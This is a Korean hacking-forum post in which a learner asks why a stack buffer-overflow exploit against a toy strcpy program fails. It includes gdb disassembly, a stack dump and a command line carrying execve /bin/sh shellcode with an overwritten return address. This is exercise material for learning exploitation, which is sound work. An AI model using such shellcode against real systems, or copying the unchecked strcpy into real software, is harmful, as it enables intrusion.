|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1862 [복사]
#include <stdio.h>
#include <string.h>
int main(int argc, char * argv[]) {
char buf[100];
strcpy(buf,argv[1]);
printf("%s\n",buf);
return 0;
}
0x0804844d <+0>: push %ebp
0x0804844e <+1>: mov %esp,%ebp
0x08048450 <+3>: and $0xfffffff0,%esp
0x08048453 <+6>: add $0xffffff80,%esp
0x08048456 <+9>: mov 0xc(%ebp),%eax
0x08048459 <+12>: add $0x4,%eax
0x0804845c <+15>: mov (%eax),%eax
0x0804845e <+17>: mov %eax,0x4(%esp)
0x08048462 <+21>: lea 0x1c(%esp),%eax
0x08048466 <+25>: mov %eax,(%esp)
0x08048469 <+28>: call 0x8048310 <strcpy@plt>
0x0804846e <+33>: lea 0x1c(%esp),%eax
0x08048472 <+37>: mov %eax,(%esp)
0x08048475 <+40>: call 0x8048320 <puts@plt>
0x0804847a <+45>: mov $0x0,%eax
0x0804847f <+50>: leave
0x08048480 <+51>: ret
여기에서 main 33 부분하고 51 부분 bp 잡아서
r `python 'print "A"*104 + "BBBB"'` 하고
x/100wx $esp 해서
(gdb) x/100wx $esp
0xbfffeb70: 0xbfffeb8c 0xbfffedeb 0x02c0003f 0x00000000
0xbfffeb80: 0xbfffec34 0xbfffeba8 0xbfffeba0 0x41414141
0xbfffeb90: 0x414141410x414141410x414141410x41414141
0xbfffeba0: 0x41414141 0x414141410x414141410x41414141
0xbfffebb0: 0x414141410x414141410x414141410x41414141
0xbfffebc0: 0x414141410x414141410x414141410x41414141
0xbfffebd0: 0x414141410x414141410x414141410x41414141
0xbfffebe0: 0x414141410x414141410x414141410x41414141
0xbfffebf0: 0x414141410x424242420x00000000 0xb7e2fa83 생략....
해서 그 0x424242 부분이 ret 이니깐
이 부분에 0xbfffeb90 값을 넣고,
다시 ./bof2 `python -c 'print "A" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "A"*78 + "\x90\xeb\xff\xbf"'` 했는데.. 했는데,... 했는데 !!
네... ㅋㅋ 쉘이 안따지네여.(shell code는 블로그에서 퍼옴)
도와주세요 ㅠㅠㅠㅠ |
Hit : 2930 Date : 2017/04/17 03:21
|
1576, 
1/79 
